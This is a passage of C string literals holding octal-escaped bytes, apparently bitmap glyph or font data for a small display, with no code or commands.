\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\360\\377\\377\\377\\377\\377\\377\\301\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\376\\377\\177\\77\\37\\17\\17\\7\\367\\377\\377\\377\\377\\377\\177\\37\\37\\77\\177\\377\\377\"\n  \"\\376|\\30\\0\\370\\377\\377\\377\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\0\\0\\0\\0\\17\\177\\377\\377\\377\\377\\377\\374\\340\\200\\0\\0\\0\\360\\377\\377\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\377\\376\\374\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\376\\376\\177\\177\\77\"\n  \"\\37\\36\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\17\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\377\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\77\\36\"\n  \"\\14\\0\\0\\0\\0\\0\\300\\300\\300\\377\\377\\377\\377\\377\\377\\377\\341\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\77\\377\\377\\377\\377\\377\\377\\357\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\340\\360\\360\\374\\376\\377\\377\\377\\377\\377\\377\\375\\374\\374\\374\\370\\370\\370\\360\\360\\340\\340\\340\\340\\340\\340\"\n  \"\\360\\370\\374\\360\\0\\3\\7\\7\\3\\3\\1\\1\\1\\1\\0\\0\\0\\1\\1\\1\\1\\3\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\"\n  \"\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\340\\300\\200\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\300\\340\\360\\360\\340\"\n  \"\\300\\200\\0\\0\\0\\0\\1\\3\\207\\367\\377\\377\\377\\377\\377\\77\\37\\37\\37\\17\\17\\37\\37\\37\\77\\377\\377\\377\\377\\377\\347\\203\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\37\\377\\377\\377\\377\\377\\360\\300\\200\\200\\200\\0\\0\\200\\200\\200\\300\\360\\377\\377\\377\\377\\177\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\30<~\\377\\177\\77\\37\\17\\17\\37\\37\\77\\77\\77\\77\\77\\77\\37\\37\\17\\37\\77\\177\\377\\376|\"\n  \"\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\1\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\376\\374\\360\\300\\0\\300\\360\\374\\377\\377\\377\\177\\37\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\303\\317\\377\\377\\377\\377\\377\\377\\377\\377\\337\\307\\301\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\217\\217\\217\\217\\217\\217\\217\\217\\217\\217\\377\\377\\377\\377\\377\\377\\377\\217\\217\\217\\217\\217\\217\\217\\217\"\n  \"\\217\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\377\\377\\377\\377\\377\\377\\377\\37\\37\\37\\37\\37\\37\\37\\37\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\374\\374\\370\\370\\370\\360\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\377\\307\\3\\1\\1\\1\\0\\0\\1\\1\\3\\7\\37\\77\\77\\37\\17\\7\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\203\\307\\357\\377\\377\\377\\377\\177\\376\\376\\374\\374\\374\\370\\370\\360\\360\\360\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0~\\377\\377\\377\\377\\377\\377\\361\\300\\200\\200\\0\\0\\1\\1\\1\\3\\7\\17\\377\\377\\377\\377\\377\\377\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\77\\177\\177~\\376\\376\\376\\377\\377\\377\\377\\357\\307\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\201\\303\\377\\377\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\37\\77\\77\\77\\177\\177~~~\\177\\177\\177\\77\\77\\77\\37\\37\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\374\\376\\177\\77\\237\\317\\347\\347\\363\\363\\371\\371\\371\\371\\371\\371\\371\\363\\363\\347\\347\\317\\37\\77\\177\"\n  \"\\376\\374\\370\\360\\377\\377\\377\\17\\1\\370\\376\\377\\377\\377\\377\\17\\7\\3\\1\\1\\1\\1\\1\\3\\7\\37\\37\\37\\37\\17\\14\\0\"\n  \"\\1\\17\\377\\377\\377\\377\\377\\360\\300\\3\\37\\77\\377\\377\\377\\376\\370\\360\\360\\340\\340\\340\\340\\360\\360\\370\\374\\374\\370p\\20\\0\"\n  \"\\300\\370\\377\\377\\1\\7\\17\\37\\77\\177\\376\\374\\370\\360\\341\\343\\343\\307\\307\\307\\307\\307\\307\\307\\343\\343\\361\\361\\370\\374\\376\\177\"\n  \"\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\77\\177\\77\\37\\17\\17\\17\\7\\7\\7\\17\\17\\77\\377\\377\\377\\376\\374\\360\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\374\\376~>>>>>>>>\\377\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177\\177\\377\\377\\374\\370\\370\\360\\360\\370\\370\\370\\374\\376\\377\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\370\\371\\371\\371\\371\\371\\371\\371\\370\\370\\370\\371\\371\\371\\371\\371\\371\\370\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\"\n  \"\\300\\200\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\177\\77\\77\\37\\17\\207\\303\\341\\360\\370\\374\\376\\377\\177\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\3\\7\\17\\37\\77\\177\\377\\376\\374\\370\\360\\340\\300\\203\\7\\17\\37\\77\\177\\377\\376\\374\\370\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\37\\77\\77\\37\\17\\6\\0\\0\\0\\0\\1\\3\\7\\17\\77\\77\"\n  \"\\37\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~\\376\\376\\376\\376\\376\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\374\\376\\77\\37\\17\\377\\367\\367\\363\\363\\361\\361\\361\\361\\361\\361\\361\\343\\343\\307\\207\\17\\37\\77\\177\"\n  \"\\376\\374\\370\\360\\377\\377\\377\\7\\0\\0\\0\\0\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\371\\377\\377\\377\\177>\\0\\0\\0\"\n  \"\\1\\17\\377\\377\\377\\377\\377\\370\\340\\200\\0\\0\\377\\377\\377\\377\\377\\1\\1\\1\\3\\17\\77\\177\\377\\377\\370\\340\\200\\0\\0\\200\"\n  \"\\340\\370\\377\\377\\1\\7\\17\\37\\77\\177\\377\\376\\377\\373\\373\\363\\363\\360\\340\\340\\340\\340\\360\\360\\361\\373\\373\\375\\377\\376\\377\\177\"\n  \"\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\377\\377\\17\\7\\3\\3\\3\\3\\3\\7\\17\\377\\377\\377\\377\\376\\370\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\37\\77\\177\\177\\376\\376\\374\\374\\374\\376\\376\\177\\177\\77\\37\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\341\\341\\341\\341\\341\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\300\\300\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34>\\177\\177\\77\\37\\17\\7\\7\\3\\3\\3\\7\\7\\217\\377\\377\\377\\377\\376\\374\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\374\\374~\\177\\77\\37\\17\\7\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\376\\377\\377\\377\\377\\367\\367\\363\\361\\360\\360\\360\\360\\360\\360\\360\\360\\370\\370\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\17\\37\\77\\77\\37\\17\\207\\207\\203\\203\\203\\207\\307\\317\\377\\377\\377\\377\\377|\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\37\\17\\17\\17\\17\\37\\37\\37\\77\\377\\377\\377\\375\\370\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34>\\177\\177\\377\\374\\374\\370\\370\\360\\360\\360\\370\\370\\374\\376\\377\\177\\177\\77\\37\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  